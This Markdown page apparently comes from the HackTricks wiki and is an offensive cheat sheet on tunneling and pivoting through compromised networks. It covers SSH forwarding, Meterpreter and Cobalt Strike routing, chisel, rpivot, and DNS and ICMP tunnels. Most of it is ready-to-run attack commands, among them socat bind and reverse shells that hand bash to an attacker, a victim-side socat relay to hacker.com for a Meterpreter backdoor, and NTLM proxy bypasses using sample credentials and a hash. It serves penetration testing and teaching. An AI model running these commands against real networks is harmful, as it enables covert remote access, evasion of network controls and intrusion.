480 lines
16 KiB
Markdown
480 lines
16 KiB
Markdown
# Tunneling and Port Forwarding
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
## Nmap tip
|
|
|
|
{% hint style="warning" %}
|
|
**ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work.
|
|
{% endhint %}
|
|
|
|
## **Bash**
|
|
|
|
**Host -> Jump -> InternalA -> InternalB**
|
|
|
|
```bash
|
|
# On the jump server connect the port 3333 to the 5985
|
|
mknod backpipe p;
|
|
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe
|
|
|
|
# On InternalA accessible from Jump and can access InternalB
|
|
## Expose port 3333 and connect it to the winrm port of InternalB
|
|
exec 3<>/dev/tcp/internalB/5985
|
|
exec 4<>/dev/tcp/Jump/3333
|
|
cat <&3 >&4 &
|
|
cat <&4 >&3 &
|
|
|
|
# Fom the host, you can now access InternalB from the Jump server
|
|
evil-winrm -u username -i Jump
|
|
```
|
|
|
|
## **SSH**
|
|
|
|
SSH graphical connection (X)
|
|
|
|
```bash
|
|
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
|
```
|
|
|
|
### Local Port2Port
|
|
|
|
Open new Port in SSH Server --> Other port
|
|
|
|
```bash
|
|
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
|
|
```
|
|
|
|
```bash
|
|
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
|
|
```
|
|
|
|
### Port2Port
|
|
|
|
Local port --> Compromised host (SSH) --> Third\_box:Port
|
|
|
|
```bash
|
|
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
|
#Example
|
|
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
|
```
|
|
|
|
### Port2hostnet (proxychains)
|
|
|
|
Local Port --> Compromised host (SSH) --> Wherever
|
|
|
|
```bash
|
|
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
|
```
|
|
|
|
### Reverse Port Forwarding
|
|
|
|
This is useful to get reverse shells from internal hosts through a DMZ to your host:
|
|
|
|
```bash
|
|
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
|
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
|
|
# Note that port 443 must be open
|
|
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
|
|
# and change the line "GatewayPorts no" to "GatewayPorts yes"
|
|
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
|
|
```
|
|
|
|
### VPN-Tunnel
|
|
|
|
You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\
|
|
`PermitRootLogin yes`\
|
|
`PermitTunnel yes`
|
|
|
|
```bash
|
|
ssh username@server -w any:any #This will create Tun interfaces in both devices
|
|
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
|
|
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
|
|
```
|
|
|
|
Enable forwarding on the Server side
|
|
|
|
```bash
|
|
echo 1 > /proc/sys/net/ipv4/ip_forward
|
|
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
|
|
```
|
|
|
|
Set a new route on the client side
|
|
|
|
```
|
|
route add -net 10.0.0.0/16 gw 1.1.1.1
|
|
```
|
|
|
|
## SSHUTTLE
|
|
|
|
You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\
|
|
For example, forwarding all the traffic going to 10.10.10.0/24
|
|
|
|
```bash
|
|
pip install sshuttle
|
|
sshuttle -r user@host 10.10.10.10/24
|
|
```
|
|
|
|
## Meterpreter
|
|
|
|
### Port2Port
|
|
|
|
Local port --> Compromised host (active session) --> Third\_box:Port
|
|
|
|
```bash
|
|
# Inside a meterpreter session
|
|
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
|
```
|
|
|
|
### SOCKS
|
|
|
|
```bash
|
|
background# meterpreter session
|
|
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
|
|
use auxiliary/server/socks_proxy
|
|
run #Proxy port 1080 by default
|
|
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|
```
|
|
|
|
Another way:
|
|
|
|
```bash
|
|
background #meterpreter session
|
|
use post/multi/manage/autoroute
|
|
set SESSION <session_n>
|
|
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
|
|
set NETMASK <Netmask>
|
|
run
|
|
use auxiliary/server/socks_proxy
|
|
set VERSION 4a
|
|
run #Proxy port 1080 by default
|
|
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|
```
|
|
|
|
## Cobalt Strike
|
|
|
|
### SOCKS proxy
|
|
|
|
Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon**.
|
|
|
|
```bash
|
|
beacon> socks 1080
|
|
[+] started SOCKS4a server on: 1080
|
|
|
|
# Set port 1080 as proxy server in proxychains.conf
|
|
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
|
```
|
|
|
|
### rPort2Port
|
|
|
|
{% hint style="warning" %}
|
|
In this case, the **port is opened in the beacon host**, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port
|
|
{% endhint %}
|
|
|
|
```bash
|
|
rportfwd [bind port] [forward host] [forward port]
|
|
rportfwd stop [bind port]
|
|
```
|
|
|
|
To note:
|
|
|
|
* Beacon's reverse port forward **always tunnels the traffic to the Team Server** and the **Team Server sends the traffic to its intended destination**, so shouldn't be used to relay traffic between individual machines.
|
|
* The **traffic is tunnelled inside Beacon's C2 traffic**, not over separate sockets, and also works over P2P links.
|
|
* You **don't need to be a local admin** to create reverse port forwards on high ports.
|
|
|
|
### rPort2Port local
|
|
|
|
{% hint style="warning" %}
|
|
In this case, the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port
|
|
{% endhint %}
|
|
|
|
```
|
|
rportfwd_local [bind port] [forward host] [forward port]
|
|
rportfwd_local stop [bind port]
|
|
```
|
|
|
|
## Windows netsh
|
|
|
|
### Port2Port
|
|
|
|
You need to be a local admin (for any port)
|
|
|
|
```bash
|
|
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
|
|
# Example:
|
|
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
|
|
# Check the port forward was created:
|
|
netsh interface portproxy show v4tov4
|
|
# Delete port forward
|
|
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|
```
|
|
|
|
## reGeorg
|
|
|
|
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
|
|
|
|
You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp
|
|
|
|
```bash
|
|
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
|
```
|
|
|
|
## Chisel
|
|
|
|
You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
|
You need to use the **same version for client and server**
|
|
|
|
### socks
|
|
|
|
```bash
|
|
./chisel server -p 8080 --reverse #Server
|
|
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client
|
|
#And now you can use proxychains with port 1080 (default)
|
|
```
|
|
|
|
### Port forwarding
|
|
|
|
```bash
|
|
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse
|
|
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505
|
|
```
|
|
|
|
## Rpivot
|
|
|
|
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
|
|
|
Reverse tunnel. The tunnel is started from the victim.\
|
|
A socks4 proxy is created on 127.0.0.1:1080
|
|
|
|
```bash
|
|
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
|
```
|
|
|
|
```bash
|
|
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
|
```
|
|
|
|
Pivot through **NTLM proxy**
|
|
|
|
```bash
|
|
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
|
```
|
|
|
|
```bash
|
|
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
|
|
```
|
|
|
|
## **Socat**
|
|
|
|
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
|
|
|
### Bind shell
|
|
|
|
```bash
|
|
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
|
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
|
```
|
|
|
|
### Reverse shell
|
|
|
|
```bash
|
|
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
|
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
|
```
|
|
|
|
### Port2Port
|
|
|
|
```bash
|
|
socat TCP-LISTEN:<lport>,fork TCP:<redirect_ip>:<rport> &
|
|
```
|
|
|
|
### Port2Port through socks
|
|
|
|
```bash
|
|
socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
|
```
|
|
|
|
### Meterpreter through SSL Socat
|
|
|
|
```bash
|
|
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
|
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
|
```
|
|
|
|
```bash
|
|
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
|
#Execute the meterpreter
|
|
```
|
|
|
|
You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console:
|
|
|
|
```bash
|
|
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
|
```
|
|
|
|
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
|
|
|
### SSL Socat Tunnel
|
|
|
|
**/bin/sh console**
|
|
|
|
Create certificates on both sides: Client and Server
|
|
|
|
```bash
|
|
# Execute these commands on both sides
|
|
FILENAME=socatssl
|
|
openssl genrsa -out $FILENAME.key 1024
|
|
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
|
|
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
|
|
chmod 600 $FILENAME.key $FILENAME.pem
|
|
```
|
|
|
|
```bash
|
|
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
|
|
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
|
|
```
|
|
|
|
### Remote Port2Port
|
|
|
|
Connect the local SSH port (22) to the 443 port of the attacker host
|
|
|
|
```bash
|
|
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
|
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
|
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
|
|
```
|
|
|
|
## Plink.exe
|
|
|
|
It's like a console PuTTY version ( the options are very similar to an ssh client).
|
|
|
|
As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine:
|
|
|
|
```bash
|
|
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
|
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
|
```
|
|
|
|
## Proxify Windows GUI Apps
|
|
|
|
You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\
|
|
In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\
|
|
In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify.
|
|
|
|
## NTLM proxy bypass
|
|
|
|
The previously mentioned tool: **Rpivot**\
|
|
**OpenVPN** can also bypass it, setting these options in the configuration file:
|
|
|
|
```bash
|
|
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
|
```
|
|
|
|
### Cntlm
|
|
|
|
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
|
|
|
It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\
|
|
For example that forward port 443
|
|
|
|
```
|
|
Username Alice
|
|
Password P@ssw0rd
|
|
Domain CONTOSO.COM
|
|
Proxy 10.0.0.10:8080
|
|
Tunnel 2222:<attackers_machine>:443
|
|
```
|
|
|
|
Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\
|
|
You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222.
|
|
|
|
## YARP
|
|
|
|
A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
|
|
|
## DNS Tunneling
|
|
|
|
### Iodine
|
|
|
|
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
|
|
|
Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries.
|
|
|
|
```
|
|
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
|
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
|
#You can see the victim at 1.1.1.2
|
|
```
|
|
|
|
The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using:
|
|
|
|
```
|
|
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
|
```
|
|
|
|
### DNSCat2
|
|
|
|
Establishes a C\&C channel through DNS. It doesn't need root privileges.
|
|
|
|
```bash
|
|
attacker> ruby ./dnscat2.rb tunneldomain.com
|
|
victim> ./dnscat2 tunneldomain.com
|
|
```
|
|
|
|
**Port forwarding with dnscat**
|
|
|
|
```bash
|
|
session -i <sessions_id>
|
|
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
|
```
|
|
|
|
#### Change proxychains DNS
|
|
|
|
Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**.
|
|
|
|
## Tunnels in Go
|
|
|
|
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
|
|
|
## ICMP Tunneling
|
|
|
|
### Hans
|
|
|
|
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
|
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
|
|
|
Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests.
|
|
|
|
```bash
|
|
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
|
./hans -f -c <server_ip> -p P@ssw0rd -v
|
|
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
|
|
```
|
|
|
|
## Other tools to check
|
|
|
|
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
|
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
|
* [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|